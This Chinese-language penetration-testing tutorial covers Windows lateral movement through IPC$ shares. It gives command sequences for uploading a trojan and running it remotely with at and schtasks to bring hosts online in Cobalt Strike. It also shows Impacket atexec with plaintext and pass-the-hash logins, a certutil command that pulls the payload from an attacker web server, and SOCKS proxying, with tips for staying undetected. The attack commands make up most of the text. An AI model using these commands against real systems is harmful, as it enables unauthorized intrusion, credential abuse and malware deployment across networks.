IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
IPC可以实现远程登录及对默认共享资源的访问,而139端口的开启标识NetBIOS协议的应用。通过139、445端口可以实现对共享文件/打印机的访问。
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$,d$,e$)等,和系统目录winnt或windows(admin$)。通过IPC可以实现对这些默认共享目录的访问。
net use # 查看IPC连接
net use \\server\ipc$ /del # 删除IPC连接
net use \\server ip\ipc$ "password" /user:username #工作组
net use \\server ip\ipc$ "password" /user:domain\username #域内主机
dir \\server ip\c$\
在下载文件这里,我们是可以看到192.168.3.32的C盘下是有一个IP.txt文件的,这里我们使用下载文件命令将其下载到我们的桌面。
copy \\server ip\c$\1.ext 1.exe # 下载文件
上传文件同样也是使用copy命令进行上传
copy 1.bat \\server ip\c$ # 上传文件
若是想要查看⽬标 C 盘下的 ip.txt ⽂件就可以使⽤ type 命令
type \\192.168.3.32\c$\ip.txt
在实战中,我们建立了IPC连接后,可以上传木马文件然后使用计划任务将其上线,目前windows有两个计划任务命令,系统小于windows 2012的使用at命令,系统大于等于Windows server 2012的操作系统已经弃用了at命令使用schtasks命令。如下图,假设我们当前已经拿到了Web Server的主机权限,并成功与其内网的两台主机建立了IPC连接,这时我们想将这两台主机进行上线就需要考虑到刚刚提到的由于windows版本,该使用at还是schtasks计划让其运行木马这个问题。
首先我们先将一个木马上传到我们的Web server中,由于内网主机不出网,所以这里要生成正向连接的木马或通过Web server中转上线的木马,这里使用的为中转上线生成的木马
在建立IPC连接后,将木马上传到目标机器中,然后再使用AT创建计划任务将其执行上线
net use \\192.168.3.21\ipc$ "Admin12345" /user:administrator
copy 4444.exe \\192.168.3.21\c$\
dir \\192.168.3.21\c$
这里我们可以看到4444.exe已经成功被我们上传到了目标机器中,这里我们先查看一下目标系统时间,然后在使用at 设置计划任务,执行我们的木马文件
net time \\192.168.3.21 # 查看目标系统时间
at \192.168.3.21 16:40 C:\4444.exe # 使用at计划任务执行C盘下的4444.exe
这里可以通过at命令去查看当前计划任务情况,和删除计划任务,具体命令如下
at \\192.168.3.21 1 # 查看at id=1 的计划任务
at \\192.168.3.21 1 /delete # 删除at id=1 的计划任务
到了19:10分后,我们可以看到通过at计划任务木马成功被执行,已经上线到了我们的CS中
在windows server 2012及以后的操作系统已经弃用了at命令,转而使用schtasks命令,schtasks命令比at命令更加的灵活,但是在使用schtasks命令时,就会在系统中留下日志文件:C:\Windows|Tasks\xx.txt,这里不详细讲解schtasks的具体使用命令,只讲解在横向移动中,我们常用的操作命令。和AT命令一样,我们先和目标主机建立IPC连接,将木马上传到目标机器中,然后再使用schtasks命令执行木马程序
net use \\192.168.3.32 "admin!@#45" /user:administrator
copy 4444.exe \\192.168.3.32\c$
dir \\192.168.3.32\c$
木马上传成功后,接下来就使用schtasks命令,schtasks命令与at命令不同,schtasks命令为先创建一个任务,然后再按需运行该任务,也可直接指定时间运行,但相对来说较于麻烦,所以这里使用按需运行任务,在创建了任务后直接让其运行即可
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4444.exe /F # 创建beacon任务对应执行文件,每天运行一次
schtasks /run /s 192.168.3.32 /tn beacon /i # 运行beacon服务
这里可以通过schtasks命令去查看当前计划任务情况,和删除计划任务,具体命令如下
schtasks /query | findstr beacon # 查看beacon计划任务
schtasks /delete /s 192.168.3.32 /tn beacon /f # 删除beacon计划任务
这里,使用schtasks也成功将SQLserver上线。
在上文中,我们讲述了在命令行下通过使用计划任务来进行横向移动的效果,但该效果相对来说不太方便,例如只适用于明文密码进行连接,无法支持hash、在执行了命令后,无法获得回显等。这里我们可以使用Impacket-atexec工具,impacket是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。对于at&schtasks,我们可以使用impacket中的atexec.exe,使用它可以轻松地进行远程连接并执行系统命令。impacket有两个版本,一个为exe可执行程序,另一个为python文件,该工具适用于Webshell下,Socks代理下,并且支持以hash的方式进行连接。
EXE版本具体使用方式如下:首先将atexec.exe上传到目标机器中
然后运行该文件
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami" # 本地用户明文连接执行命令
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami" #域内用户明文连接执行命令
可以看到,在使用atexec进行执行命令后,结果会直接返回回来,那么我们也可以使用hash进行连接
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" # 使用hash进行本地用户连接
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" # 使用hash进行域内用户连接
至此,为atexec的链接和命令执行命令,那我们回想刚刚在使用at和schtasks上线时的步骤:建立IPC连接、上传木马、设置任务执行....步骤较为繁琐,那我们在使用atexec时,也可以将其进行上线,并且相对来说较为简洁方案。首先,在这里我们需要转变一下思路,不能是将木马上传到目标机器中,而是让目标机器来去下载我们的木马程序,这里我们将木马放到Webserver的WEB目录中,然后构造下载命令,让目标机器将其下载到其机器中,然后在将其执行即可。web server的web目录为C:\inetpub\wwwroot,这里我们直接上传木马。
然后构造下载命令看其目标机器能否下载成功
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/4444.exe 4444.exe"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "dir | findstr 4444.exe"
可以看到4444.exe已经成功被其下载成功,那么这里我们直接运行4444.exe即可
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "4444.exe"
这里我们可以也可以看到DC成功上线。
以上是atexec.exe的利用,但是因为需要在目标主机上面上传exe在实战中不实用,可能照成数据包丢失,也可能被查杀。所以这里在实战中建议使用python版本,但是也有可能目标主机没有相对的语言解析 ,所以最好的办法就是使用socket代理调用atexec.py对其内网进行利用。主要操作如下:首先在CS上设置一个socket代理,然后使用proxifier 添加代理、规则。
设置好代理之后,设置下代理规则,将所有目标主机为192.168.3.0的数据包都通过我们的socket代理进行通信,这样我们就可以与其内网的主机进行通信。
这时代理设置好了之后,我们就可以直接在本机中使用atexec.py对其内网进行横向移动了,具体命令如下:
python atexec.py .\administrator:Admin12345@192.168.3.21 "whoami" # 本地明文建立IPC连接并执行命令
python atexec.py god\administrator:Admin12345@192.168.3.21 "whoami" # 域内主机建立IPC连接并执行命令
可以看到,通过socket代理,我们没有上传atexec.exe文件,就可直接在本地中对其内网进行利用,可较大程度的避免在实战中上传较大exe程序,被查杀或上传失败的效果
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"#本地用户使用hash进行IPC连接
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"#本地用户使用hash进行IPC连接
那么在这里,我们上线CS的步骤也和上文中使用atexec.exe上线步骤一致,这里不再演示。在内网渗透中,IPC是我们经常用到的手段之一,若⽬标管理员对服务器禁⽤远程登录我们就可以使⽤ IPC 来完成⼀些操作,在IPC横向移动时,较为推荐使用atexec.py+socket代理的形式对其内网进行横向移动,相对来说动静较小,不易被发现。